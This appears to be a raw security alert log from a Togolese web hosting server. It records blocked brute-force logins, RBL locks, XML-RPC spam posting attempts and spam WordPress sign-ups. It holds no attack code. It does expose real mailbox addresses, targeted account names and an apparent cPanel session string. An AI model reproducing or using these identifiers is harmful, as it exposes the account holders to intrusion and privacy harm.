IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/togodailynews.tg/wp-content/uploads/2026/06/Grands-Lacs-Lome-consolide-la-centralite-de-la-mediation-africaine.webp HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.97.180.45
country_id: 3469034
description:
Jun  8 22:44:22 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.97.180.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.218.171.22
country_id: 1220409
description:
2026-06-08 22:45:10 H=([91.218.171.22]) [91.218.171.22]:58372 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 96.0.0.241
country_id: 2077456
description:
[2026-06-08 22:47:06 +0000] info [cpaneld] 96.0.0.241 NEW gsizyncj:MRLEO5nXNWmeonTj address=96.0.0.241,app=cpaneld,creator=gsizyncj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.115.84.201
country_id: 3895114
description:
[2026-06-08 22:47:18 +0000] info [whostmgrd] 191.115.84.201 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.169.169.124
country_id: 6251999
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/reboisement-le-defi-crucial-du-suivi-et-de-lentretien-des-plants-apres-la-plantation/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.1.213.160
country_id: 1562822
description:
Jun  8 22:50:31 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.1.213.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.1.213.160
country_id: 1562822
description:
2026-06-08 22:50:33 dovecot_plain authenticator failed for H=(m2aw14lvxtuoeo1ekygf) [117.1.213.160]:37555: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [08/Jun/2026:22:52:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6671255&pdata=https%253A%252F%252Fca-togo.org%252Fimp%252Fenglish%252Findex1.php%253FpageID%253D15&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780959139 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org/imp/english/index1.php?pageID=15" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-06-08 22:57:35 +0000] info [cpaneld] 165.22.212.32 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.214.16
country_id: 798544
description:
Jun  8 23:00:33 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.214.16 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.93.7.184
country_id: 6252001
description:
[2026-06-08 23:02:09 +0000] info [whostmgrd] 66.93.7.184 - testeur2 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 66.93.7.184
country_id: 6252001
description:
66.93.7.184 - - [08/Jun/2026:23:02:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855064&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780959723 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:66.93.7.184


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:23-02.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.89.246.29
country_id: 6252001
description:
47.89.246.29 - - [08/Jun/2026:23:02:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672555&pdata=https%253A%252F%252Fwww.crrhuemoa.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780959732 HTTP/2.0" 302 0 www.crrhuemoa.org "https://www.crrhuemoa.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"47.89.246.29" CAPTCHA:"0" PEER:104.22.20.191


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Exchange Your Fruitful-Game Funds eropolik.blogspot.sg 6H||Email:tijjanigarba471@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.36.214
country_id: 1880251
description:
43.156.36.214 - - [08/Jun/2026:23:08:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194008&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsante-publique-le-gouvernement-ramene-lespoir-a-keran%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780960119 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/sante-publique-le-gouvernement-ramene-lespoir-a-keran/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.36.214


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.154.148.19
country_id: 1819730
description:
43.154.148.19 - - [08/Jun/2026:23:09:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054809&pdata=http%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fsports%252Fpage%252F3%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780960151 HTTP/1.1" 302 0 togodailynews.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.154.148.19


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.6.29
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:34414.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a7a116ae27062304e717d467c090a3c877d0328c||Title:0xe4bd07d2||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.150
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4b35f498ca62979cfda4d7773ad93e6d1bab1a07||Title:0xf9e906de||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.6.29
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7d149feb81a6cd5fe7920f82d83c358b0fe1f84a||Title:0x64e12410||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.66
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2e76ccc3e72bf90c496b5ebecf7865d273464eff||Title:0x6a3aeba6||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.129
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c14f6dfe276feb31f5f97dd1b7c3f44da5d28521||Title:0xe9402cbe||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.17.26
country_id: 6252001
description:
Jun  8 23:12:55 ns5 pure-ftpd[117116]: (?@45.38.17.26) [WARNING] Authentication failed for user [mointie.konlambigue@emt.tg]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun  8 23:13:11 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.17.26
country_id: 6252001
description:
Jun  8 23:13:21 ns5 pure-ftpd[117542]: (?@45.38.17.26) [WARNING] Authentication failed for user [emploi@emt.tg]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-08 23:13:27 +0000] info [cpaneld] 102.54.238.57 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.66
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cb0d1b47733b4fa25a45b5801a1050262a51192c||Title:0x0643116a||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.6.51
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8b41346ddae0fcda8f882d52c73d16db499eee25||Title:0x6ea1860d||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.98
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5ffaa4d9c16a8363184ee481e3e772cacab1f4ee||Title:0xf4c8a288||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.129
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:761867f4d6371822875edb0e8eda23540abed450||Title:0xe998323c||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.129
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:510f5ffbad3fd799966fcf793d292066a9fb6cba||Title:0xa0a8f733||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.66
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a4af6e03aa449e2e8cdce2a919c2058a33c7310b||Title:0xc72ae337||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.98
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:99fe33c4d2978ba8c0a4c78631f9bee9e3743f47||Title:0x6da3456b||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.97
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e794be1c7e9c81a6d213526632a25e0f94b285aa||Title:0x6b9b1e3a||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.163.145.175
country_id: 1668284
description:
Jun  8 23:17:43 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.163.145.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.150
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4ae05acba6cfd3c2b6f843d8da173c372b79c87a||Title:0xc2db835d||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.94
country_id: 732800
description:
Jun  8 23:17:14 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.94 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.6.51
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d9f7a7b804f4edaf6edc5274fa1819ad1c2ea57e||Title:0xa918ee1b||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.21.55.42
country_id: 1269750
description:
Jun  8 23:17:27 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.21.55.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.186
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2e3d1ae47977c8710ce45b46814f168e4d4a3ee5||Title:0x454e14e4||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.239.202
country_id: 1269750
description:
Jun  8 23:17:18 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.239.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun  8 23:18:24 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.6.51
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f7ea2a7f2dee93238603f650d909b767b93da56||Title:0xedbaea68||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.165.172.38
country_id: 1835841
description:
Jun  8 23:18:24 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.165.172.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.141.193.42
country_id: 1835841
description:
Jun  8 23:18:32 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.141.193.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.129
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:503ec21918cc6ca3c05a70c91a9e68ac02432cb2||Title:0x945dd39d||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jun  8 23:18:48 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun  8 23:18:55 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.13.110.39
country_id: 3865483
description:
Jun  8 23:19:42 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.13.110.39 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.186
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ff49c22438478b17c50b2ab58bb0b607a8d9ba79||Title:0xc41f391a||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.97
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f090106027d0f9ac5c3672674b76840390b97282||Title:0x7fa45f4b||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun  8 23:19:43 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.204.243.202
country_id: 3469034
description:
Jun  8 23:20:15 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.204.243.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  8 23:20:43 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-08 23:20:45 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:51382: 535 Incorrect authentication data (set_id=zimbabwe)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.129
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3b6afaae28ab916ce4aa116af7f90581ca8eb0d1||Title:0x4665cd40||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.6.29
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c5f5550507d0ff54b0de6f0f25d24c177a19fbbd||Title:0x8fa01661||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.240
country_id: 1269750
description:
Jun  8 23:21:12 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.150
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:551bc561406e35fac94e9be7d3a27c5015d1d8e0||Title:0x6aa02422||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.97
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0d2d882da85c99602b2692bd4b0691ac620c05d4||Title:0x8f102fcd||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.66
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:77653c2efba41a9f1808dff137bf610d354ee94a||Title:0x5209f86e||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.98
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2a519b3866e0c4a0953b50382985d97147e50fae||Title:0x5833a5c4||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.97
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6a01f3a313e1515f500dc780e3d82405039a441f||Title:0xdbbc7d48||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.6.29
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:50876827d89006661300bd0aa7b8a172dc19dc02||Title:0x5769c26b||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.66
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:adbd81701e9865f19cef73f4bbba6514b26c1823||Title:0xd372fd4c||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.6.51
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cf9e91e64ae1f6f55702ce5349698ee6d512145f||Title:0x7973807b||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.97
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e2323c0f9654b03d98414bec41f94e91c90252ce||Title:0xe52626bc||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.6.51
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0fe894afa3577f5fb70a3fb2f42ee0a422a6b4bd||Title:0x081d8079||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.5.150
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9edd71a40f1a1a6b22971a181147c55481f7691a||Title:0xdbe7c8b3||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.4.220
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4f8d83513fc5801254f41b8ae648a2608632360a||Title:0x24c336de||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.66
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1eaf46a04e7198bd9e0550842b6454d2d6126f3c||Title:0x9838b39c||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:23-27.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.6.51
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3cd9cccf4ab76ca50956b81c75a57ab0f80892b5||Title:0x4bc54349||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  8 23:27:09 ns5 auth[2561]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-08 23:27:11 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:59486: 535 Incorrect authentication data (set_id=nec)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Activate Your Sic Bo Reward sepoladi.blogspot.ro M5||Email:mcdonaldlaura2686@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 72.50.7.129
country_id: 4566966
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c4e010ee1e5215213061f534d1beee2cfdd4656d||Title:0xb73c7131||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.93.165.22
